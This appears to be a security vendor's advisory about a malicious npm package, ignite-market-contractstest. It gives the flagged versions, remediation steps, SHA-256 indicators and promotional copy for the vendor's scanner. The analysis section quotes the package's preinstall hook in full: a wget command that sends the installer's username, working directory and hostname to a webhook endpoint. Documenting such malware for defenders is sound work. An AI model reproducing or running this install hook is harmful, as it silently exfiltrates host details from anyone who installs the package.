Which versions of ignite-market-contractstest are malicious?

The following npm versions of ignite-market-contractstest are flagged malicious: 0.0.9, 9.0.0. Treat any of these as compromised.

How do I remediate ignite-market-contractstest if I installed it?

ignite-market-contractstest is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed ignite-market-contractstest — how do I know if it already compromised me?

If ignite-market-contractstest was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is ignite-market-contractstest part of a known attack campaign?

Yes — ignite-market-contractstest is associated with the IN-MAL-2026-004099, IN-MAL-2026-004098 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find ignite-market-contractstest across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ignite-market-contractstest (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ignite-market-contractstest across your stack and pipelines.

Malicious package

ignite-market-contractstestnpm

Malicious code in ignite-market-contractstest (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4583

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall ignite-market-contractstest

What this malware does

package.json declares a preinstall lifecycle hook that runs wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)". On every npm install, this exfiltrates the installer's username, current working directory, and hostname to a third-party request-logging endpoint controlled by the package author, without consent. The package metadata is placeholder (author 'me', empty description, version 0.0.9), the name ignite-market-contractstest is shaped like a dependency-confusion target against an internal ignite-market-contracts package, and it depends on seaport-core-16 — a similarly suspicious name in the OpenSea seaport namespace. The combination of unconsented host-identifier exfiltration on install, dependency-confusion-shaped naming, and placeholder metadata is the canonical reconnaissance shape used to validate that an internal package name is reachable on the public registry.

Malicious versions

2 flagged

0.0.99.0.0

Indicators of compromise (SHA-256)

b9babd9b088785649368dbf885050b6a15b218a6b38d2dcd058f0c9eda5109da

ba1152fed442631b3d367dc51ba9b70ee92938e4a53f3152480cbf46df403a3e

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ignite-market-contractstest (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ignite-market-contractstest across your stack and pipelines.
If you installed it — respond
ignite-market-contractstest is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If ignite-market-contractstest was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ignite-market-contractstest before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. ignite-market-contractstest on npm has been identified as a malicious package (versions 0.0.9, 9.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004099IN-MAL-2026-004098

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks ignite-market-contractstest-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring